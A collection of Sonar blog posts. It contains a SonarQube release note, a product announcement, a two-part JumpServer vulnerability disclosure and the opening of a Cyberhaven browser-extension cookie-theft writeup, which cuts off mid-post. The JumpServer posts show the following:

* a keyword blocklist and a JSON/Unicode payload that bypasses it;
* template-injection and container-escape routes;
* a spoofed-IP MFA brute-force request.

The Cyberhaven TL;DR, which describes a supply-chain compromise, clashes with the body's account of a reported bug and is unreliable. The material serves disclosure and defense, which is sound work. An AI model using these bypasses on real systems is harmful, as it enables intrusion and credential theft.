SonarQube Server 2025 Release 2 delivers expanded AI CodeFix coverage with new language support and improved fix quality, enabling developers to resolve a broader range of detected issues with a single click directly in the SonarQube UI.
New IDE integrations and Connected Mode improvements deepen the feedback loop between SonarQube Server analysis and the developer's local environment, surfacing server-side findings inline while writing code.
Security rule additions and taint analysis improvements expand detection coverage for injection vulnerabilities, authentication weaknesses, and secrets patterns across supported languages.
Teams on the 2025.x series should upgrade to Release 2 before the 2025.3 release to receive the full set of improvements and maintain a supported configuration with current patch coverage.

Sonar is excited to announce SonarQube Server 2025 Release 2.

Key Capabilities of Release 2

Use your own Azure OpenAI service for AI CodeFix
Reduce architectural drift in your projects
Added support for PySpark and Jupyter Notebooks in PyCharm for AI/ML developers
Improved visibility of .NET test results within your project
Avoid common pitfalls when using the Spring framework
New SAST for Golang
Updated support for the latest Dart and Kotlin versions
Run the server in IPv6-only infrastructures

SonarQube Server 2025 Release 2 delivers significant enhancements across code quality, code security, and issue remediation. AI CodeFix rule coverage is expanded, and users can now use their own Azure OpenAI service for enhanced privacy when using AI CodeFix. Dev teams will benefit from the enforcement of architectural constraints to prevent architectural drift in your projects. AI/ML developers gain support for finding issues when using PySpark and when developing Python code in Jupyter Notebooks within PyCharm. Developers will find improved test metric visibility for .NET projects. Spring developers receive added protection with new rules to help avoid common pitfalls. Security is strengthened for Go with our introduction of SAST for Golang. You’ll find updated support for the latest Dart and Kotlin versions. Platform updates include IPv6-only infrastructure support, ensuring SonarQube Server remains adaptable to modern environments.

The 2025 Release 2 announcement and our SonarQube Server release notes provide more details about the release.

Are you still using an older version of SonarQube Server?

Diving Into JumpServer: Attacker’s Gateway to Internal Networks (2/2)

Oskar Zeino-Mahmalat — Mon, 24 Mar 2025 23:00:00 GMT

TL;DR overview

JumpServer remote code execution vulnerabilities allow authenticated attackers to run arbitrary commands on the Celery container, then escape to the host, fully compromising the JumpServer infrastructure.
An Ansible playbook validation bypass (CVE-2024-29201) lets attackers use JSON format with Unicode-encoded keywords to evade a string-based security blocklist.
A Jinja2 server-side template injection flaw (CVE-2024-29202) enables code execution even for users who have no access to any internal host.
The Koko container runs with Docker privileged mode enabled, meaning code execution in its MongoDB shell leads to full host compromise; all flaws were fixed in versions 3.10.12 and 4.0.0.

Welcome back to our exploration of JumpServer security. In our previous post, Diving Into JumpServer: Attacker’s Gateway to Internal Networks (1/2) we laid the groundwork by covering the basics of JumpServer's architecture and core components. This post builds directly upon that foundation, so be sure to check out the first post if you have not done so yet.

To emphasize the impact of our discoveries, we'll continue the attack narrative from part one. We'll demonstrate how an attacker, having bypassed authentication, can leverage subsequent vulnerabilities to completely compromise the JumpServer infrastructure and internal hosts.

Impact

Building on our discovery of authentication bypass vulnerabilities, this second blog focuses on the critical authenticated code execution flaws we uncovered. By chaining these vulnerabilities, an unauthenticated attacker can fully compromise the JumpServer environment and its associated internal hosts.

These vulnerabilities were fully addressed in JumpServer versions 3.10.12, 4.0.0 and are tracked as CVE-2023-43650, CVE-2023-43651, CVE-2023-43652, CVE-2023-42818, CVE-2023-46123, CVE-2024-29201, CVE-2024-29202, CVE-2024-40628, CVE-2024-40629.

In this part of the series, we will focus on CVE-2023-43651, CVE-2024-29201, CVE-2024-29202, CVE-2024-40628, and CVE-2024-40629.

Technical Details

Background

An authenticated user of JumpServer will see the available instances they can access. More often than not, users will have limited privileges and access only to certain services/instances.

Choosing to run a shell command on an instance involves a straightforward input window and the subsequent display of the command's result:

This output reveals a key detail that tells us about an underlying technology that is used: Interpreter Discovery. This indicates Ansible’s attempt to identify the appropriate Python interpreter on the target host. But what exactly is Ansible, and why is it relevant here?

Ansible

At its core, Ansible is an open-source automation engine designed to streamline IT tasks like configuration management, application deployment, and task automation. Leveraging a simple, agentless architecture, Ansible employs YAML-based playbooks to define desired system states and orchestrate changes across a diverse infrastructure.

In JumpServer, users can choose the simple command input shown before, or directly write Ansible YAML playbook file.

But how is Ansible integrated into JumpServer on an architectural level?

Architecture

The user requests to execute a task using the HTTP API, which is then forwarded by the core API to the Celery service. Upon availability, Ansible executes the task and receives the output from the internal host. After receiving the results, Celery uploads it to the database, allowing it to be visible to the user via a different API call.

This means that the Celery container also has access to the database. Given that the database holds sensitive information, like host credentials, it becomes a prime target for malicious actors. Let’s take a look at the Celery container from a security standpoint.

Celery

Ansible playbook validation bypass (CVE-2024-29201)

Ansible provides various ways within the playbook syntax to execute tasks on the Ansible host itself. According to the Ansible threat model, playbooks are trusted and can run code on both local and remote machines. This is at odds with JumpServer's threat model, which allows authorized users to run code on remote machines but not on the JumpServer host itself.

Trying to execute local tasks using the built-in features within the playbook file, as shown in the official documentation, will trigger an exception in JumpServer:

This is due to Fit2Cloud, the maintainers of JumpServer, being aware of this risk and implementing a playbook verification using a blocklist of dangerous keywords within the YAML file content:

dangerous_keywords = (
   'hosts:localhost',
   'hosts:127.0.0.1',
   'hosts:::1',
   'delegate_to:localhost',
   'delegate_to:127.0.0.1',
   'delegate_to:::1',
   'local_action',
   'connection:local',
   'ansible_connection'
)
f = open(playbook_file)
for line in f:
    for keyword in dangerous_keywords:
        if keyword in normalize(line): // simplified
            block()

This verification is purely string-based, without parsing the YAML file, but there is a quirk within YAML parsing. YAML parsers accept JSON as a valid format of input. Knowing that attackers can now write playbooks in JSON format and use the Unicode feature within JSON to bypass the simple string check JumpServer enforces. The Unicode will be normalized during parsing, and eventually execute arbitrary code on the Celery container.

// YAML = blocked
all:
 ...
  localhost:
   ansible_connection: local


// JSON + Unicode =  not blocked
{
    ...
    "vars": {
        "ansible_\u0063onnection": "local"
    }
}

Ansible Jinja template injection (CVE-2024-29202)

In JumpServer, running “shortcut commands” or “quick jobs” utilizes Ansible’s ad-hoc command feature, which allows the execution of a non-recurring command without writing an entire playbook. These have several variables related to the job available and can be interpolated into the script using double curly braces.

# script
echo my username: {{ jms_username }}

# output
my username: admin

This feature uses Ansible's Jinja2 templating which has full Python code capabilities. Rendering user-controlled templates is considered unsafe and is called Server-Side Template Injection. An attacker can simply execute Python code where the template is rendered, which is the Celery container.

Interestingly, creating this playbook in the Job > Template will pass it to Ansible regardless of any host availability. This means that even in the rare case of a compromised user without access to any host at all, this attack is still possible.

Arbitrary File Write in Ansible Playbooks leads to Code Execution (CVE-2024-40629)

Following the inherent mismatch in the threat model between JumpServer and Ansible, we opted to search for some new ways attackers might leverage Ansible’s features to exploit JumpServer. We discovered that the ansible.builtin.fetch module downloads a file from a remote host and saves it on the local host file system at a specified path. This can be exploited further to gain code execution in multiple ways such as overwriting Python scripts that are executed during the normal lifecycle of the container.

Arbitrary File Read in Ansible Playbooks (CVE-2024-40628)

Additionally, Ansible Playbooks can read local files in a number of ways, such as:

The ansible.builtin.copy module copies a file from the local host to the remote host. It can then be read using the intended command execution features on the remote host.
The ansible.builtin.file lookup plugin can read a file from the local host and use it in other commands, such as a debug print statement.

Compromised Celery impact

Since the Celery container has access to the database and the internal hosts, as we covered in the first blog post, compromising the Celery microservice would also provide access to the database and subsequently all internal hosts and JumpServer users:

Koko

Although the Celery findings are critical, an attacker who exploits these vulnerabilities won't be able to maintain persistence on the JumpServer instance. Since each microservice operates as a Docker container, updating or reinstalling JumpServer would remove the attacker's foothold. To gain persistence, the attacker would need to escape the container and execute code on the host machine.

Container Escape via Koko’s mongosh (CVE-2023-43651)

Looking at the “all-in-one” docker-compose file, we noticed an interesting setting of the Koko service:

services:
    …
    koko:
        image: jumpserver/koko:${VERSION}
        container_name: jms_koko
        restart: always
        privileged: true
        tty: true

This specific container is configured using the privileged flag, which is considered unsafe and essentially discards any container isolation. It allows access to the host machine in various ways, such as mounting the host file system or registering a kernel module. If an attacker manages to execute code on the Koko container, it will offer a path to persist their holdings from the JumpServer infrastructure to the host itself.
We previously demonstrated vulnerabilities in the Celery microservice, but how does the Koko service hold up to security standards?

JumpServer's Web Terminal, powered by the Koko container, provides remote server and database access via SSH and database REPL tools. This functionality, which proxies commands from the web interface, inherently carries the risk of arbitrary code execution due to potential malicious user input. To mitigate this, JumpServer replaced the root shell with a highly restricted nobody user effectively limiting file system access and preventing unauthorized actions on the Koko host machine, thereby minimizing the impact of any potentially malicious code execution.

However, these mitigations are not consistently applied across all connection types. We identified MongoDB to be missing these mitigations:

The MongoDB connection is enabled by making the user communicate with the web proxy using a web socket, which is then handled by Koko using a new mongosh subprocess that connects to the database itself

If the connection is successful, the WebSocket connection is directed to this subprocess, and any user input in the web terminal is directed to mongosh, acting as if it is installed locally on the user’s machine.

The MongoDB shell is actually a Node.js shell with certain variables in scope that can be used to access the remote database. As the shell is normally run on a developer's machine, it is not restricted and is just as capable as any Node.js process.

This means an attacker can access not only the mongodb features but also all the Node.js functionalities. From there, executing code is as simple as using a basic childProcess.execSync() function.

Compromised Koko impact

The impact of this vulnerability is a complete compromise of the JumpServer host machine, granting full control over logs, internal hosts, and persistence.

Key Takeaways for Developers

Microservice Architecture and API Security: Microservice architectures can inadvertently expose API properties and endpoints, increasing the attack surface. Rigorous API security testing and access control are essential.
Threat Model Alignment: Address threat model gaps by ensuring consistent security assumptions across all integrated components. Understanding how these components interact with your system, and addressing potential conflicts is crucial for a secure environment.
Container Best Practices: Avoid running privileged containers. Implement the principle of least privilege to minimize the potential impact of container compromises.

Patch

The vulnerabilities discussed here were fixed in various ways and versions:

Celery - Ansible:

Initially, Fit2Cloud addressed CVE-2024-29201 and CVE-2024-29202 in version 3.10.7 by forking Ansible and enabling only SuperPlaybookRunner to use local connections. Jijnja2 was changed to use SandboxedEnvironment instead of NativeEnvironment.
Following our CVE-2024-40628 and CVE-2024-40629 reports in versions 3.10.12 and 4.0.0, Fit2Cloud decided to address this issue at its root by running Ansible in an isolated process mode.

Koko:

CVE-2023-43651: fixed in versions 2.28.20 and 3.7.1 by executing Mongodb shell using the restricted nobody user. A subsequent privilege escalation bypass to this fix was addressed by removing the BOOTSTRAP_TOKEN environment variables when constructing the command runtime.

These vulnerabilities were fully addressed in JumpServer versions 3.10.12, 4.0.0

Timeline

Date	Action
2023-09-18	We report our initial discoveries to JumpServer
2023-09-25	Fit2Cloud confirms the issues
2023-09-27	Fit2Cloud releases versions 2.28.20, 3.7.1 addressing CVE-2023-43651
2024-03-22	We notify Fit2Cloud about additional findings
2024-03-25	Fit2Cloud confirms the issues
2024-03-29	Fit2Cloud releases version 3.10.7 addressing CVE-2024-29201 and CVE-2024-29202.
2024-06-11	We share our final report with Fit2Cloud
2024-06-12	Fit2Cloud confirms the issues
2024-06-18	Fit2Cloud releases versions 3.10.12, and 4.0.0 addressing CVE-2024-40628 and CVE-2024-40629.

Summary

This blog series has showcased critical security vulnerabilities within JumpServer, an open-source Privileged Access Management (PAM) application. We demonstrated how attackers can exploit vulnerabilities stemming from diverse root causes. At Sonar, we are committed to equipping developers with tools to write clean, secure code, and with the knowledge necessary to prevent similar vulnerabilities in their own applications. Understanding the fundamental issues that led to these exploits is important for building robust and secure software.

We would like to thank Fit2Cloud, the vendor behind JumpServer, for their responsiveness and professionalism throughout the vulnerability disclosure and remediation process.

Diving Into JumpServer: Attacker’s Gateway to Internal Networks (1/2)

Oskar Zeino-Mahmalat — Tue, 18 Mar 2025 23:00:00 GMT

TL;DR overview

JumpServer authentication bypass vulnerabilities (CVE-2023-43652, CVE-2023-46123) allow unauthenticated attackers to impersonate users by exploiting a missing validation in its public-key authentication flow.
JumpServer's microservice architecture means a request intended only for its Koko SSH container can be replayed directly via the HTTP web proxy, bypassing authentication entirely.
The MFA bypass allows attackers to spoof the client's remote IP in API requests, defeating rate limiting and enabling brute-force of TOTP codes and passwords.
All vulnerabilities were fully patched in JumpServer versions 3.10.12 and 4.0.0; organizations should verify they are running patched releases.

Jumpserver is an open-source Privileged Access Management (PAM) tool developed by Fit2Cloud. It's widely used in China and offers a comprehensive suite of features, including SSH, RDP, database, and FTP tunneling using a user-friendly web interface. Acting as a bastion host to an internal network, it offers a centralized point of access and control for accessing internal hosts. But what happens when this gateway itself is compromised?

At SonarSource, we're dedicated to helping developers write secure code. Our vulnerability research team actively analyzes open-source software, identifying and reporting vulnerabilities to improve the security of the ecosystem. In this blog post, we'll delve into the security of Jumpserver, and explore critical vulnerabilities that could allow attackers to bypass authentication and gain complete control of Jumpserver infrastructure.

Some of the findings discussed in these blog posts were first presented at Insomni'hack last year. The recording of the talk Diving Into JumpServer: The Public Key Unlocking Your Whole Network is available on YouTube.

Impact

The centralized nature of JumpServer makes it a critical security asset. If compromised, it can grant attackers access to the entire internal network. Combining our findings could enable unauthenticated attackers to bypass authentication and achieve complete control of the JumpServer system and its underlying infrastructure.

Watch the video

In this article, we will focus on the authentication bypass vulnerabilities (CVE-2023-43650, CVE-2023-43652, CVE-2023-42818, CVE-2023-46123), which allow attackers to impersonate users and pave the path for exploiting subsequent vulnerabilities that will be covered in the next blog post.

Technical Details

Background

JumpServer provides users with a centralized and user-friendly web interface for accessing various resources within the internal network. This streamlined approach simplifies access management and enhances overall user experience.

For those who prefer a more traditional approach, JumpServer also supports direct access via SSH clients. This flexibility caters to diverse user preferences and existing workflows.

But before delving into the details of our findings it's essential to first understand the underlying architecture of JumpServer. This knowledge will provide the necessary context for comprehending how these flaws can be exploited to compromise the system and gain unauthorized access to sensitive resources.

Architecture

JumpServer, at its core, is built on a microservices architecture. This means it's composed of several independent components that work together to provide its functionality. Each of these components is essentially a Docker container. Here's a breakdown of the key components that will be relevant in this blog series:

Core (Main API): Written in Python-Django, it serves as the central API, responsible for scheduling tasks, authentication, authorization, and more. This critical component interacts directly with the database microservice to validate user credentials and manage access permissions.
Database: A critical component storing sensitive information, including user credentials and the credentials of various hosts within the network. This makes it a prime target for attackers, as compromising the database could grant them widespread access and control.
Koko: Developed in Go, this microservice handles the core tunneling functions, from web terminals, and FTP file explorer to SSH Tunneling that provides direct SSH connections to internal hosts.
Celery: Named after the popular Python library, it acts as JumpServer's task manager. Celery handles a “task queue” for recurring tasks like connectivity tests and maintains “job scheduling” for custom jobs on hosts.
Web Proxy: Lastly, the web proxy is the entry point for web-based connections, forwarding requests to the Core API.

To assess potential vulnerabilities from an external attacker's standpoint, we'll first examine Koko and the Web API, as these are the components exposed to external threats.

Authentication

JumpServer offers flexible authentication options, allowing users to authenticate through either the web UI (HTTP) or an SSH client:

Web UI employs a conventional authentication flow. When a user attempts to log in, the provided credentials are verified against the database. If the credentials are valid, a session token is generated and sent to the user, granting access to the system.

SSH Authentication, however, presents a unique challenge, as traditional session tokens aren't readily applicable in this context. JumpServer addresses this through a custom implementation.
When a user connects using an SSH client, the Koko container manages the communication with the client. It essentially acts as an intermediary, taking the user's password credentials and performing the authentication process via the Core API, mirroring the web UI's authentication flow.
Upon successful authentication, the Koko container stores the generated session token and associates it with the user's SSH channel, which allows the container to effectively manage and track the SSH user's session.

But SSH authentication could be performed via asymmetric keys; it’s even the recommended method. How does Koko handle this type of authentication?

First, by receiving the public key from the user, and then obtaining a session key from the core API. After Koko receives the token it knows that a user with such a public key exists and continues to perform key validation directly with the user.

Authentication Bypass (CVE-2023-43652)

You might have already noticed a red flag in this mechanism, the Core API provides a valid session token to Koko only by providing a public key.

Considering the microservice architecture of JumpServer we know that there is another way of accessing the core API, and that is through the nginx HTTP interface. Looking and the code when JumpServer tries to authenticate the user using a public key, there is no verification that the request is performed from the Koko service:

def authenticate(self, request, username=None, public_key=None, **kwargs):
        if not public_key:
            return None

        if username is None:
            username = kwargs.get(UserModel.USERNAME_FIELD)
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            return None
        else:
            if user.check_public_key(public_key) and \
                  self.user_can_authenticate(user):
                return user

An attacker can execute the same request directly using the HTTP interface, essentially impersonating the Koko container without requiring any key validation.

Obtaining a user’s public keys isn’t a complicated task; as the name suggests, they are public. For demonstration purposes, you can go to any GitHub user profile, simply add .keys to the URL, and see their public keys.

MFA bypass (CVE-2023-46123), or Step 2

Attackers who try to exploit the public key authentication bypass might face another obstacle in case the victim account enabled Multi-factor authentication (MFA).

Similar to authentication, implementing such a feature is less obvious in the SSH context than on the web. So, how does it work under the hood in Jumpsever?
In the SSH protocol, the server maintains a list of supported authentication methods, such as public key, password, host-based, and keyboard-interactive. When the client attempts to connect, the server shares this list, and the client must choose one of the available methods to authenticate. After the authentication is successful a “SUCCESS” message is sent, starting the SSH session.

To implement MFA, the SSH protocol also supports a “partial success” message, saying to the user that although the authentication was correct there is a need for an additional step. Here, it could change to the “keyboard-interactive” type to allow the client to enter the MFA code.

As mentioned before, Jumpserver tunnels SSH sessions and needs to implement certain things in order to support MFA. A successful two-factor authentication would look like this:

One of the common ways attackers bypass TOTP-based MFA is by brute force. If the application fails to implement a prevention mechanism, attackers could simply try every possible TOTP code as it is only a 6-digit string. But trying to do so in Jumpserver would result in a rate-limiting response pretty quickly.
Rate-limiting verification is often done by checking the number of requests made by an IP address, but since everything is centralized in the core API, Jumpserver forwards the client’s IP taken from the SSH connection as an extra parameter in the /api/mfa request:

POST /api/mfa
{
  "code": "133337",
  "remote_addr": "12.34.56.78"
}

In a similar fashion to the previous vulnerability, There is no verification that this request is made from the Koko container:

def get_request_ip(self):
    ip = ''
    if hasattr(self.request, 'data'):
         ip = self.request.data.get('remote_addr', '')
    ip = ip or get_request_ip(self.request)
    return ip

An attacker can directly call the core API via the web proxy, changing the remote_addr parameter every time and bypassing the rate-limiting mechanism. This rate-limiting bypass also allows attackers to brute-force the passwords themselves via a different endpoint.

Additionally, other vulnerabilities such as lack of rate limiting on the password reset (CVE-2023-43650) and bypassing a partial success false response using public SSH key and custom client (CVE-2023-42818) were discovered and disclosed by Sonar.

Patch

The vulnerabilities discussed here were fixed in various ways and versions:

CVE-2023-43650: fixed in versions 2.28.20 and 3.7.1 by adding a 3-tries rate limit
CVE-2023-43652: fixed in versions 2.28.20 and 3.7.1 by separating the public key authentication API from token generation and only providing it to Koko for verification.
CVE-2023-42818: fixed in versions >= 3.7.2 by introducing a state tracking mechanism for partial success through the SSHAuthLogCallback code. Without the CONTEXT_PARTIAL_SUCCESS_METHOD, the second authentication stage will be denied.
CVE-2023-46123: fixed in versions >= 3.8.0, by trusting only the remote_addr parameter if it originates from Koko using a signature.

Organizations relying on JumpServer should ensure they are running the latest patched versions, which were fully addressed in JumpServer versions 3.10.12 and 4.0.0.

Timeline

Date	Action
2023-09-18	We report our initial discoveries to JumpServer
2023-09-25	Fit2Cloud confirms the issues
2023-09-27	Fit2Cloud releases versions 2.28.20 and 3.7.1 addressing CVE-2023-43650 and CVE-2023-43652
2023-10-05	We send a follow-up report with additional findings
2023-10-05	Fit2Cloud confirms the issues
2023-10-23	Fit2Cloud releases version 3.7.2 addressing CVE-2023-42818
2023-10-24	Fit2Cloud releases version 3.8.0 addressing CVE-2023-46123

Summary

In this blog post, we explore security flaws that primarily originate from architectural mistakes. Specifically, we highlight the risks associated with inadequate microservice isolation, where unintended cross-service interactions can lead to significant security implications. The vulnerabilities underscore the importance of secure coding practices, thorough testing, threat modeling, and continuous security assessments. By understanding the root causes of these vulnerabilities, developers can learn to build more secure systems and protect against similar attacks.

We would like to thank Fit2Cloud for their responsiveness in addressing these issues and for their commitment to security. We also acknowledge the contributions of other researchers, specifically Ethan Yang, Hui Song, pokerstarxy, Lawliet and Zhiniang Peng, whose findings paved the way for our own discoveries.

Announcing SonarQube Advanced Security

Johannes Dahse — Tue, 11 Mar 2025 13:00:00 GMT

TL;DR overview

SonarQube Advanced Security extends SonarQube's analysis capabilities to include Software Composition Analysis (SCA) and advanced SAST, covering first-party, AI-generated, and third-party open source code in a single platform.
SCA features include vulnerability identification in dependencies, license compliance management, SBOM generation, and malicious package detection—addressing supply chain risks that traditional SAST tools miss.
Advanced SAST detects hidden vulnerabilities arising from interactions between first-party code and third-party libraries, uncovering complex injection flaws that cross dependency boundaries.
Available as a purchasable license for SonarQube Enterprise Edition, this offering is the first fully integrated code quality and code security solution in a single developer-first platform.

For over a decade, SonarQube has been a trusted name in the developer community, renowned for its industry-leading code quality analysis. But did you know that SonarQube has also been simultaneously investing in providing developers and security professionals with robust security analysis? From Static Application Security Testing (SAST) and taint analysis to Infrastructure as Code (IaC) scanning and secrets detection, SonarQube has added a broad portfolio of code security capabilities to help teams secure their first-party and AI-generated code.

Today, we’re excited to announce SonarQube Advanced Security, a major enhancement to SonarQube’s existing code quality and code security capabilities. SonarQube Advanced Security will include Software Composition Analysis (SCA) and advanced Static Application Security Testing (SAST) and will be available to all SonarQube customers. This new offering not only builds on SonarQube’s existing core security capability but also extends its reach to include analysis of first-party, third-party open source, and AI-generated code. With SonarQube Advanced Security, Sonar now provides one integrated code quality and code security analysis solution for all your code, based on the same developer-first philosophy we’ve always had.

Security in a Rapid Development World

Modern software development moves fast, often driven by generating code with AI and building on top of third-party open source libraries. Unfortunately, this speed can leave security as an afterthought. Vulnerabilities are often discovered too late—right before release or even after deployment—leading to costly rework, production delays, and increased risks.

Traditional security tools exacerbate the problem by overwhelming teams with false positives, missing hidden risks in third-party open source code, and making compliance a tedious process. To address these challenges, development teams need a proactive, developer-first approach to security—one that integrates seamlessly into their workflows and ensures that all parts of their software’s code are secure.

Our Security Solution for Developers

SonarQube integrates into the developer workflow, from IDE to CI/CD, delivering integrated code quality and code security. It already provides robust core security features, including:

Static Application Security Testing (SAST): Identifies vulnerabilities in first-party and AI-generated code
Taint Analysis: Tracks untrusted data flows cross-file to detect potential security risks
Secrets Detection: Prevents sensitive information, like API keys, from being exposed in code
Infrastructure as Code (IaC) Scanning: Secures cloud infrastructure configurations
Security reporting: Report on code compliance for standards like OWASP Top 10, PCI DSS, STIG, CASA, and CWE Top 25

These capabilities focus on protecting first-party and AI-generated code, helping teams identify vulnerabilities early in the development process.

SonarQube Advanced Security extends this protection to third-party open source code, providing comprehensive security coverage for modern codebases.

Key features of Advanced Security include:

Software Composition Analysis (SCA)

Vulnerability Identification: Detect, prioritize, and mitigate vulnerabilities (including CVEs) in third-party open source dependencies
License Compliance: Ensure all third-party components meet your organization’s licensing policies
SBOM (Software Bill of Materials): Generate detailed inventories of software components to understand, manage, and report on your code’s composition

Advanced SAST

While SonarQube has long offered SAST and taint analysis for first-party code, advanced SAST (formerly known as deeper SAST) extends this analysis to include interactions between first-party and third-party code, uncovering deeper and more complex vulnerabilities

With Advanced Security, SonarQube addresses these challenges head-on, offering a unified solution for:

Proactive vulnerability and supply chain management across all code sources
Comprehensive security and quality analysis that spans first-party, third-party open source, and AI-generated code
Streamlined compliance with SBOM generation and license tracking

SonarQube Advanced Security is the first step in integrating Sonar’s recent acquisition of Tidelift and its unique, proactive approach to improving third-party code quality and code security by working directly with open source maintainers. This allows to get verified insights about false positives, exploitability, and available workarounds for dependency risks.

Benefits of SonarQube

Created by developers for developers, SonarQube helps teams supercharge their work with:

Comprehensive Code Coverage: SonarQube provides code quality and security analysis for 30+ programming languages and frameworks, using more than 6,000+ rules. It ensures security (SAST, taint analysis, SCA, Secrets Detection, IaC scanning), reliability, and maintainability across all types of code.
Broad Detection and Remediation: Find and remediate a wide range of security issues, including SQL injection, cross-site scripting (XSS), buffer overflows, security misconfigurations, secret leaks, and more.
Unmatched Accuracy and Speed: With an industry-leading >90% True Positive Rate (TPR) and <10% False Positive Rate (FPR), SonarQube detects and remediates code quality and security issues in real-time, even across multiple files and libraries.
Enforce Coding Standards: Developers can catch real issues as they write code, minimizing rework and ensuring security is built in from the start. Organizations can set clear standards for downstream security reviews and production, empowering both developers and AppSec teams to truly "shift left."
Meet Compliance and Regulatory Needs: Simplify compliance with essential coding standards. Built-in reports track and manage code security against OWASP Top 10, OWASP ASVS, PCI DSS, STIG, CASA, and CWE Top 25 standards. SonarQube is also aligned with the NIST Secure Software Development Framework (SSDF), making it easier to meet regulatory requirements.

SonarQube ensures your entire codebase is secure, reliable, and maintainable—helping you build better, safer applications faster.

Availability

The General Availability (GA) of SonarQube Advanced Security is planned for the end of May 2025. It will be available as a new purchasable license for SonarQube Server Enterprise Edition 2025 Release 3 and shortly after that for SonarQube Cloud Enterprise.

Learn more about our security solution.

Beware the Cookie Monster: Cyberhaven Extension Vulnerability Allowed Cookie Theft

Paul Gerste — Wed, 26 Feb 2025 16:10:00 GMT

TL;DR overview

Sonar's security team analyzed a major compromise of the Cyberhaven Chrome extension that allowed attackers to steal browser cookies—including OAuth tokens—from users of the extension.
The attack was made possible by a supply chain compromise of the extension's publishing pipeline, enabling attackers to push a malicious version that silently exfiltrated session cookies to an attacker-controlled server.
The incident illustrates the severe risk of browser extension supply chain attacks: a trusted extension with broad permissions can bypass traditional security controls and directly harvest user session data.
Developers and security teams should treat browser extensions as high-risk software components and apply the same rigorous supply chain security scrutiny used for server-side dependencies.

Cyberhaven is a data loss prevention (DLP) solution that helps companies protect their sensitive data from leaving their control. It works by tracking data as it moves through a company's machines and networks. To offer a comprehensive DLP solution, Cyberhaven integrates with various websites using a browser extension that has 500,000 users according to its Chrome Web Store page.

We discovered and reported a vulnerability in Cyberhaven's browser extension that allowed attackers to steal arbitrary cookies when the victim visited and clicked on a malicious website. The vulnerability has since been patched, but it once again shows that security products are attractive targets for malicious actors.

In this blog post, we will first cover the basics of web browser extensions and their security. We will then investigate the bug and understand how attackers could have abused it. Finally, we will learn how Cyberhaven patched the bug and how you can avoid similar issues in your code.

Impact

We identified the vulnerability in version 24.8.2 of Cyberhaven's browser extension. Since there is no accessible history of browser extensions, we couldn't identify when the vulnerability was first introduced. Cyberhaven notified us on November 8th that they fixed the vulnerability, which corresponds to version 24.9.3 of their extension.

The vulnerability allows an attacker-controlled website to steal any cookie from the victim's browser. The only requirement is that the victim visits the attacker's page. In our proof-of-concept, there is an additional requirement of performing a click on the malicious website, but we assume that there are other exploitation paths were this is not necessary. You can find a demonstration of the successful exploitation below:

Watch the video

Technical Details

Before we go into the details of the browser extension, let's understand what Cyberhaven's software does on a high level. Its purpose is to track data that flows across the user's device to detect and avoid the loss of sensitive company data. To do this, Cyberhaven ships a native agent and a browser extension. The browser extension tracks how data flows inside the browser across websites but also integrates with the native application to be able to track file downloads, clipboard access, etc.

Since browser extensions are just HTML and JavaScript files zipped together, we wanted to give the extension's code a closer look to see if there is any attack surface that a malicious website could target.

Chrome Extension Basics

As a starting point, we can peek into the extension's manifest.json file:

{
  "action": {
    "default_popup": "popup.html",
    // ...
  },
  "background": {
    "service_worker": "js/worker.js"
  },
  "content_scripts": [
    {
      "all_frames": true,
      "js": [ "js/apps.so.notion.index.js", "js/browser-polyfill.min.js", ],
      "matches": [ "*://*.notion.so/*" ],
      "run_at": "document_start"
    },
    // ...
  ],
  // ...
}

It lists the components, permissions, and other metadata that may interest us. We can see that there are three main components:

A popup (popup.html)
A background script (js/worker.js)
Content scripts (js/apps.*.js)

The popup page is what's rendered when you click the extension's icon:

The background script always runs in the background and has access to higher-privileged browser APIs. The exact set of APIs depends on the permissions declared in the extension's manifest. For Cyberhaven, we can see the following permissions:

{
  // ...
  "permissions": [
    "alarms",
    "tabs",
    "downloads",
    "webNavigation",
    "webRequest",
    "storage",
    "cookies",
    "scripting"
  ],
  "host_permissions": [ "<all_urls>" ],
  // ...
}

The extension has access to sensitive information like cookies, and the access is not limited to specific domains since the host_permissions are set to the wildcard <all_urls>.

Next to the popup and the background script, there are also so-called content scripts. These run for each web page the extension has access to and can modify and interact with the actual website being loaded. However, they run in a separate JavaScript context from the page's scripts to avoid malicious websites from hijacking the extension. The content script doesn't have access to privileged browser APIs but it can communicate with the background script.

Cyberhaven's Inner Workings

When a user visits a website, Cyberhaven's content script runs before the page's scripts start to execute. Depending on the website, the content script used is either generic (js/apps.common.index.js) or specialized for that domain. Cyberhaven comes with a series of specialized content scripts for popular domains such as google.com, github.com, or dropbox.com.

In general, the content scripts hook certain website events, such as file uploads or clipboard access. When these actions happen while the user is using the website, they are forwarded to the background script, which in turn forwards them to the native application for logging purposes. The extension also seems to have the capability of blocking certain events, but we weren't able to test this out.

The specialized content scripts have some additional functionality to integrate better with a website, such as identifying the currently logged-in user. How they implement this depends on the website, but for some of them, they get this information from a cookie. In the version of Cyberhaven's extension that we tested, the cookie-based identification was implemented for GitHub, Reddit, and Notion. Let's have a closer look at the GitHub content script:

// ...
onInjectScript(
  {
    service: "github",
    scriptId: "gihub_cloud_data",
    scriptUrl: "src/apps/com.github/cloud_data.web.ts"
  },
  (() => {
    proxy("Cyberhaven_WebAppStorage", "webapp-storage"),
    proxy("Cyberhaven_WebAppCookies", "webapp-cookies");
  })
)
// ...

When the page loads, the content script injects another script into the page. In contrast to the content script, this cloud_data script runs in the same context as the page's own scripts. The content script then also sets up an event-proxying mechanism that forwards DOM events from the website to the background script.

When a custom DOM event called Cyberhaven_WebAppCookies is raised on the page, the content script detects it, converts it to a webapp-cookies message, and sends it to the background script. The background script then handles the event as follows:

onMessage("webapp-cookies", (
  async ({data: { key, url }}) => (await browser.cookies.get({
      name: key,
      url,
    }))?.value
  )
)

The data from the event is used to query the cookie matching a name and URL. The cookie's value is then returned to the content script, which in turn sends it to the page as a Cyberhaven_WebAppCookies_reply DOM event. The injected script then processes the response accordingly.

However, since the injected script runs within the website's context, this also means that the website itself can send and receive such DOM events! Since neither the content script's proxy nor the background script checks that the cookie being requested belongs to the currently loaded domain, this essentially allows the website to steal arbitrary cookies from the user!

Stealing Cookies

This capability is of course limited to those pages where Cyberhaven implements such a custom integration, i.e., GitHub, Reddit, and Notion. But what if it's not the website itself that would abuse this functionality, but an attacker-controlled script that runs on the page?

At first glance, this would require an attacker to find a Cross-Site Scripting (XSS) vulnerability in one of the pages, which is a significant hurdle. But if we look at the extension's manifest again, we can see that the integration is loaded for all subdomains of those pages too:

*://*.github.com/*
*://*.githubusercontent.com/*
*://*.github.dev/*
*://*.reddit.com/*
*://*.notion.so/*

